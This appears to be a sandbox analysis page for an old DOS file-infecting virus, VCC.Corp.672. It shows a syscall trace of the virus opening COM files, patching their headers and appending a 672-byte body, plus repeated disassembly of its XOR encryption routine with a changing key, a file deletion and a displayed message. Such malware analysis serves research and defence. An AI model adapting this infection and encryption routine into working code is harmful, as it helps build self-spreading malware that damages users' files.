Sample viewer

vx.netlux.org/Virus.DOS.VCC.Corp.672

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:03:41.991262762Z 26 PC: 12a72 | Set disk transfer address
2018-12-17T23:03:41.992810514Z 37 PC: 12a80 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T23:03:41.995531613Z 37 PC: 12a84 | Set interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T23:03:41.997049509Z 78 PC: 12acf | Find first file
2018-12-17T23:03:42.003730687Z 61 PC: 12c74 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:03:42.012132954Z 63 PC: 12c83 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:03:42.019335945Z 66 PC: 12c92 | Move file pointer
2018-12-17T23:03:42.021304448Z 66 PC: 12ca1 | Move file pointer
2018-12-17T23:03:42.024276479Z 64 PC: 12cad | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:03:42.027533716Z 66 PC: 12cb9 | Move file pointer
2018-12-17T23:03:42.029401189Z 44 PC: 12cbd | Get time 0x12cbd: mov byte ptr [bp + 0x2a0], dl
0x12cc1: call 0x12cd7
0x12cc4: mov ah, 0x40
0x12cc6: mov cx, 0x2a0
0x12cc9: lea dx, word ptr [bp + 6]
0x12ccd: int 0x21
0x12ccf: call 0x12cd7
0x12cd2: mov ah, 0x3e
0x12cd4: int 0x21
0x12cd6: ret
0x12cd7: lea si, word ptr [bp + 0x1f]
0x12cdb: mov cx, 0x262
0x12cde: xor byte ptr [si], 0
0x12ce1: inc si
0x12ce2: dec cx
0x12ce3: jne 0x12cde
0x12ce5: ret
0x12ce6: add word ptr [bx], di
0x12ce8: aas
0x12ce9: aas
2018-12-17T23:03:42.032744019Z 64 PC: 12ccf | Write file or device (Write 672 bytes on handle 5)
2018-12-17T23:03:42.050470065Z 62 PC: 12cd6 | Close file
2018-12-17T23:03:42.059864318Z 79 PC: 12acf | Find next file
2018-12-17T23:03:42.06469762Z 61 PC: 12c74 | Open file (Filename = 'PRINT.COM')
2018-12-17T23:03:42.072255018Z 63 PC: 12c83 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:03:42.079588333Z 66 PC: 12c92 | Move file pointer
2018-12-17T23:03:42.081589337Z 66 PC: 12ca1 | Move file pointer
2018-12-17T23:03:42.090429888Z 64 PC: 12cad | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:03:42.093774951Z 66 PC: 12cb9 | Move file pointer
2018-12-17T23:03:42.095849154Z 44 PC: 12cbd | Get time 0x12cbd: mov byte ptr [bp + 0x2a0], dl
0x12cc1: call 0x12cd7
0x12cc4: mov ah, 0x40
0x12cc6: mov cx, 0x2a0
0x12cc9: lea dx, word ptr [bp + 6]
0x12ccd: int 0x21
0x12ccf: call 0x12cd7
0x12cd2: mov ah, 0x3e
0x12cd4: int 0x21
0x12cd6: ret
0x12cd7: lea si, word ptr [bp + 0x1f]
0x12cdb: mov cx, 0x262
0x12cde: xor byte ptr [si], 0x38
0x12ce1: inc si
0x12ce2: dec cx
0x12ce3: jne 0x12cde
0x12ce5: ret
0x12ce6: add word ptr [bx], di
0x12ce8: aas
0x12ce9: aas
2018-12-17T23:03:42.101581187Z 64 PC: 12ccf | Write file or device (Write 672 bytes on handle 5)
2018-12-17T23:03:42.110963798Z 62 PC: 12cd6 | Close file
2018-12-17T23:03:42.120371675Z 79 PC: 12acf | Find next file
2018-12-17T23:03:42.124970588Z 61 PC: 12c74 | Open file (Filename = 'HELLO.COM')
2018-12-17T23:03:42.132829311Z 63 PC: 12c83 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:03:42.140610029Z 66 PC: 12c92 | Move file pointer
2018-12-17T23:03:42.143611996Z 66 PC: 12ca1 | Move file pointer
2018-12-17T23:03:42.145435025Z 64 PC: 12cad | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:03:42.148480766Z 66 PC: 12cb9 | Move file pointer
2018-12-17T23:03:42.151133516Z 44 PC: 12cbd | Get time 0x12cbd: mov byte ptr [bp + 0x2a0], dl
0x12cc1: call 0x12cd7
0x12cc4: mov ah, 0x40
0x12cc6: mov cx, 0x2a0
0x12cc9: lea dx, word ptr [bp + 6]
0x12ccd: int 0x21
0x12ccf: call 0x12cd7
0x12cd2: mov ah, 0x3e
0x12cd4: int 0x21
0x12cd6: ret
0x12cd7: lea si, word ptr [bp + 0x1f]
0x12cdb: mov cx, 0x262
0x12cde: xor byte ptr [si], 0x3e
0x12ce1: inc si
0x12ce2: dec cx
0x12ce3: jne 0x12cde
0x12ce5: ret
0x12ce6: add word ptr [bx], di
0x12ce8: aas
0x12ce9: aas
2018-12-17T23:03:42.154610547Z 64 PC: 12ccf | Write file or device (Write 672 bytes on handle 5)
2018-12-17T23:03:42.163828338Z 62 PC: 12cd6 | Close file
2018-12-17T23:03:42.173555728Z 79 PC: 12acf | Find next file
2018-12-17T23:03:42.177420017Z 61 PC: 12c74 | Open file (Filename = 'PHANG.COM')
2018-12-17T23:03:42.184947628Z 63 PC: 12c83 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:03:42.200583783Z 66 PC: 12c92 | Move file pointer
2018-12-17T23:03:42.208512509Z 66 PC: 12ca1 | Move file pointer
2018-12-17T23:03:42.210433212Z 64 PC: 12cad | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:03:42.213794696Z 66 PC: 12cb9 | Move file pointer
2018-12-17T23:03:42.216667691Z 44 PC: 12cbd | Get time 0x12cbd: mov byte ptr [bp + 0x2a0], dl
0x12cc1: call 0x12cd7
0x12cc4: mov ah, 0x40
0x12cc6: mov cx, 0x2a0
0x12cc9: lea dx, word ptr [bp + 6]
0x12ccd: int 0x21
0x12ccf: call 0x12cd7
0x12cd2: mov ah, 0x3e
0x12cd4: int 0x21
0x12cd6: ret
0x12cd7: lea si, word ptr [bp + 0x1f]
0x12cdb: mov cx, 0x262
0x12cde: xor byte ptr [si], 0x43
0x12ce1: inc si
0x12ce2: dec cx
0x12ce3: jne 0x12cde
0x12ce5: ret
0x12ce6: add word ptr [bx], di
0x12ce8: aas
0x12ce9: aas
2018-12-17T23:03:42.219827294Z 64 PC: 12ccf | Write file or device (Write 672 bytes on handle 5)
2018-12-17T23:03:42.229272413Z 62 PC: 12cd6 | Close file
2018-12-17T23:03:42.239135678Z 79 PC: 12acf | Find next file
2018-12-17T23:03:42.242107529Z 61 PC: 12c74 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T23:03:42.249137554Z 63 PC: 12c83 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:03:42.256701844Z 66 PC: 12c92 | Move file pointer
2018-12-17T23:03:42.258259344Z 66 PC: 12ca1 | Move file pointer
2018-12-17T23:03:42.259741562Z 64 PC: 12cad | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:03:42.263096614Z 66 PC: 12cb9 | Move file pointer
2018-12-17T23:03:42.265368268Z 44 PC: 12cbd | Get time 0x12cbd: mov byte ptr [bp + 0x2a0], dl
0x12cc1: call 0x12cd7
0x12cc4: mov ah, 0x40
0x12cc6: mov cx, 0x2a0
0x12cc9: lea dx, word ptr [bp + 6]
0x12ccd: int 0x21
0x12ccf: call 0x12cd7
0x12cd2: mov ah, 0x3e
0x12cd4: int 0x21
0x12cd6: ret
0x12cd7: lea si, word ptr [bp + 0x1f]
0x12cdb: mov cx, 0x262
0x12cde: xor byte ptr [si], 0x49
0x12ce1: inc si
0x12ce2: dec cx
0x12ce3: jne 0x12cde
0x12ce5: ret
0x12ce6: add word ptr [bx], di
0x12ce8: aas
0x12ce9: aas
2018-12-17T23:03:42.267901132Z 64 PC: 12ccf | Write file or device (Write 672 bytes on handle 5)
2018-12-17T23:03:42.277084839Z 62 PC: 12cd6 | Close file
2018-12-17T23:03:42.287338749Z 79 PC: 12acf | Find next file
2018-12-17T23:03:42.290772278Z 61 PC: 12c74 | Open file (Filename = 'MANDEL.COM')
2018-12-17T23:03:42.298343131Z 63 PC: 12c83 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:03:42.306081949Z 66 PC: 12c92 | Move file pointer
2018-12-17T23:03:42.307888017Z 66 PC: 12ca1 | Move file pointer
2018-12-17T23:03:42.309573938Z 64 PC: 12cad | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:03:42.31316797Z 66 PC: 12cb9 | Move file pointer
2018-12-17T23:03:42.315149097Z 44 PC: 12cbd | Get time 0x12cbd: mov byte ptr [bp + 0x2a0], dl
0x12cc1: call 0x12cd7
0x12cc4: mov ah, 0x40
0x12cc6: mov cx, 0x2a0
0x12cc9: lea dx, word ptr [bp + 6]
0x12ccd: int 0x21
0x12ccf: call 0x12cd7
0x12cd2: mov ah, 0x3e
0x12cd4: int 0x21
0x12cd6: ret
0x12cd7: lea si, word ptr [bp + 0x1f]
0x12cdb: mov cx, 0x262
0x12cde: xor byte ptr [si], 0x49
0x12ce1: inc si
0x12ce2: dec cx
0x12ce3: jne 0x12cde
0x12ce5: ret
0x12ce6: add word ptr [bx], di
0x12ce8: aas
0x12ce9: aas
2018-12-17T23:03:42.317680208Z 64 PC: 12ccf | Write file or device (Write 672 bytes on handle 5)
2018-12-17T23:03:42.327028856Z 62 PC: 12cd6 | Close file
2018-12-17T23:03:42.337058062Z 79 PC: 12acf | Find next file
2018-12-17T23:03:42.340382296Z 61 PC: 12c74 | Open file (Filename = 'PAH.COM')
2018-12-17T23:03:42.348310731Z 63 PC: 12c83 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:03:42.355858951Z 66 PC: 12c92 | Move file pointer
2018-12-17T23:03:42.357456476Z 66 PC: 12ca1 | Move file pointer
2018-12-17T23:03:42.358990612Z 64 PC: 12cad | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:03:42.362952876Z 66 PC: 12cb9 | Move file pointer
2018-12-17T23:03:42.364514464Z 44 PC: 12cbd | Get time 0x12cbd: mov byte ptr [bp + 0x2a0], dl
0x12cc1: call 0x12cd7
0x12cc4: mov ah, 0x40
0x12cc6: mov cx, 0x2a0
0x12cc9: lea dx, word ptr [bp + 6]
0x12ccd: int 0x21
0x12ccf: call 0x12cd7
0x12cd2: mov ah, 0x3e
0x12cd4: int 0x21
0x12cd6: ret
0x12cd7: lea si, word ptr [bp + 0x1f]
0x12cdb: mov cx, 0x262
0x12cde: xor byte ptr [si], 0x4e
0x12ce1: inc si
0x12ce2: dec cx
0x12ce3: jne 0x12cde
0x12ce5: ret
0x12ce6: add word ptr [bx], di
0x12ce8: aas
0x12ce9: aas
2018-12-17T23:03:42.367073288Z 64 PC: 12ccf | Write file or device (Write 672 bytes on handle 5)
2018-12-17T23:03:42.376747127Z 62 PC: 12cd6 | Close file
2018-12-17T23:03:42.385364728Z 26 PC: 12ae9 | Set disk transfer address
2018-12-17T23:03:42.386618377Z 19 PC: 12afb | Delete file
2018-12-17T23:03:42.393901268Z 9 PC: 12b2d | Display string (String= 'COMMITMENT Without practice, dedication, and a commitment to be your best... You will not just be any Lemming!!! ')